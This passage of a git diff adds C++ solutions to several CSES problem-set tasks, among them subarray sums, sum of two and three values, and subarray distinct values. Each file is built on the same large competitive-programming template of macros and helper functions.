unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +// dsu class ---- starts here +class dsu +{ +private: + vector parent; + vector siz; + +public: + dsu(vector parent, vector siz) + { + this->parent = parent; + this->siz = siz; + } + + void make_set(int v) + { + parent[v] = v; + siz[v] = 1; + } + + int find_set(int v) + { + if (v == parent[v]) + return v; + return parent[v] = find_set(parent[v]); + } + + void union_set(int a, int b) + { + a = find_set(a); + b = find_set(b); + if (a != b) + { + if (siz[a] < siz[b]) + swap(a, b); + parent[b] = a; + siz[a] += siz[b]; + } + } +}; + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n, k; + cin >> n >> k; + ordered_set> window; + vll ar(n); + for (int i = 0; i < n; i++) + cin >> ar[i]; + + for (int i = 0; i < k; i++) + window.insert({ar[i], i}); + cout << window.find_by_order((k - 1) / 2)->first << " "; + + for (int i = 1; i < n - k + 1; i++) + { + window.erase({ar[i - 1], i - 1}); + window.insert({ar[i + k - 1], i + k - 1}); + cout << window.find_by_order((k - 1) / 2)->first << " "; + } + + cout << endl; +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Stick_Lengths.cpp b/DSA/CSES_ProblemSet/Stick_Lengths.cpp new file mode 100644 index 000000000..3570595e6 --- /dev/null +++ b/DSA/CSES_ProblemSet/Stick_Lengths.cpp @@ -0,0 +1,20 @@ +#include +#define ll long long +using namespace std; + +int main() +{ + int n; + cin >> n; + int ar[n]; + for (int i = 0; i < n; i++) + cin >> ar[i]; + sort(ar, ar + n); + ll mid = ar[n / 2]; + + ll tot = 0; + for (int i = 0; i < n; i++) + tot += abs(ar[i] - mid); + + cout << 1LL * tot << endl; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Subarray_Distinct_Values.cpp b/DSA/CSES_ProblemSet/Subarray_Distinct_Values.cpp new file mode 100644 index 000000000..a3c7b4461 --- /dev/null +++ b/DSA/CSES_ProblemSet/Subarray_Distinct_Values.cpp @@ -0,0 +1,270 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +// dsu class ---- starts here +class dsu +{ +private: + vector parent; + vector siz; + +public: + dsu(vector parent, vector siz) + { + this->parent = parent; + this->siz = siz; + } + + void make_set(int v) + { + parent[v] = v; + siz[v] = 1; + } + + int find_set(int v) + { + if (v == parent[v]) + return v; + return parent[v] = find_set(parent[v]); + } + + void union_set(int a, int b) + { + a = find_set(a); + b = find_set(b); + if (a != b) + { + if (siz[a] < siz[b]) + swap(a, b); + parent[b] = a; + siz[a] += siz[b]; + } + } +}; + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n, k; + cin >> n >> k; + ll ar[n]; + inarr(ar, n); + + int l = 0; + ll res = 0; + un_m mp; + int siz = 0; + for (int r = 0; r < n; r++) + { + mp[ar[r]]++; + if (mp[ar[r]] == 1) + siz++; + + while (siz > k) + { + mp[ar[l]]--; + if (mp[ar[l]] == 0) + siz--; + l++; + } + res += r - l + 1; + } + out(res); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Subarray_Divisibility.cpp b/DSA/CSES_ProblemSet/Subarray_Divisibility.cpp new file mode 100644 index 000000000..8ccf6ae5f --- /dev/null +++ b/DSA/CSES_ProblemSet/Subarray_Divisibility.cpp @@ -0,0 +1,263 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +// dsu class ---- starts here +class dsu +{ +private: + vector parent; + vector siz; + +public: + dsu(vector parent, vector siz) + { + this->parent = parent; + this->siz = siz; + } + + void make_set(int v) + { + parent[v] = v; + siz[v] = 1; + } + + int find_set(int v) + { + if (v == parent[v]) + return v; + return parent[v] = find_set(parent[v]); + } + + void union_set(int a, int b) + { + a = find_set(a); + b = find_set(b); + if (a != b) + { + if (siz[a] < siz[b]) + swap(a, b); + parent[b] = a; + siz[a] += siz[b]; + } + } +}; + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n; + cin >> n; + vll ar(n, 0); + ll presum = 0; + ar[0] = 1; + + for (int i = 0; i < n; i++) + { + ll x; + cin >> x; + presum += x; + ar[(presum % n + n) % n]++; + } + ll ans = 0; + for (auto x : ar) + ans += x * (x - 1) / 2; + + out(ans); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Subarray_Sums_I.cpp b/DSA/CSES_ProblemSet/Subarray_Sums_I.cpp new file mode 100644 index 000000000..b8254c00d --- /dev/null +++ b/DSA/CSES_ProblemSet/Subarray_Sums_I.cpp @@ -0,0 +1,266 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +// dsu class ---- starts here +class dsu +{ +private: + vector parent; + vector siz; + +public: + dsu(vector parent, vector siz) + { + this->parent = parent; + this->siz = siz; + } + + void make_set(int v) + { + parent[v] = v; + siz[v] = 1; + } + + int find_set(int v) + { + if (v == parent[v]) + return v; + return parent[v] = find_set(parent[v]); + } + + void union_set(int a, int b) + { + a = find_set(a); + b = find_set(b); + if (a != b) + { + if (siz[a] < siz[b]) + swap(a, b); + parent[b] = a; + siz[a] += siz[b]; + } + } +}; + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + ll n, x; + cin >> n >> x; + vll ar(n); + for (int i = 0; i < n; i++) + cin >> ar[i]; + + un_m preSum; + ll currSum = 0; + ll res = 0; + for (int i = 0; i < n; i++) + { + currSum += ar[i]; + + if (currSum == x) + res++; + + if (preSum[currSum - x]) + res += preSum[currSum - x]; + preSum[currSum]++; + } + out(res); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Sum_of_Three_Values.cpp b/DSA/CSES_ProblemSet/Sum_of_Three_Values.cpp new file mode 100644 index 000000000..d4f85403b --- /dev/null +++ b/DSA/CSES_ProblemSet/Sum_of_Three_Values.cpp @@ -0,0 +1,274 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +// dsu class ---- starts here +class dsu +{ +private: + vector parent; + vector siz; + +public: + dsu(vector parent, vector siz) + { + this->parent = parent; + this->siz = siz; + } + + void make_set(int v) + { + parent[v] = v; + siz[v] = 1; + } + + int find_set(int v) + { + if (v == parent[v]) + return v; + return parent[v] = find_set(parent[v]); + } + + void union_set(int a, int b) + { + a = find_set(a); + b = find_set(b); + if (a != b) + { + if (siz[a] < siz[b]) + swap(a, b); + parent[b] = a; + siz[a] += siz[b]; + } + } +}; + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n; + ll x; + cin >> n >> x; + vec> ar(n); + for (int i = 0; i < n; i++) + { + cin >> ar[i].first; + ar[i].second = i + 1; + } + sort(all(ar)); + for (int i = 0; i < n; i++) + { + int l = 0, r = n - 1; + while (l != r) + { + ll target = x - ar[i].first; + if (l != i && r != i && (ar[l].first + ar[r].first == target)) + { + cout << ar[i].second << " " << ar[l].second << " " << ar[r].second << endl; + return; + } + if (ar[l].first + ar[r].first < target) + l++; + else + r--; + } + } + + out("IMPOSSIBLE"); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Sum_of_Two_Values.cpp b/DSA/CSES_ProblemSet/Sum_of_Two_Values.cpp new file mode 100644 index 000000000..ee131902f --- /dev/null +++ b/DSA/CSES_ProblemSet/Sum_of_Two_Values.cpp @@ -0,0 +1,224 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + ll n, sum; + cin >> n >> sum; + vector ar(n); + un_m mp; + for (int i = 0; i < n; i++) + { + cin >> ar[i]; + mp[ar[i]] = i + 1; + } + + for (int i = 0; i < n; i++) + { + if (mp[sum - ar[i]] && (i + 1) != mp[sum - ar[i]]) + { + cout << i + 1 << " " << mp[sum - ar[i]] << endl; + return; + } + } + + out("IMPOSSIBLE"); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Tasks_and_Deadlines.cpp b/DSA/CSES_ProblemSet/Tasks_and_Deadlines.cpp new file mode 100644 index 000000000..ba554eec5 --- /dev/null +++ b/DSA/CSES_ProblemSet/Tasks_and_Deadlines.cpp @@ -0,0 +1,221 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos 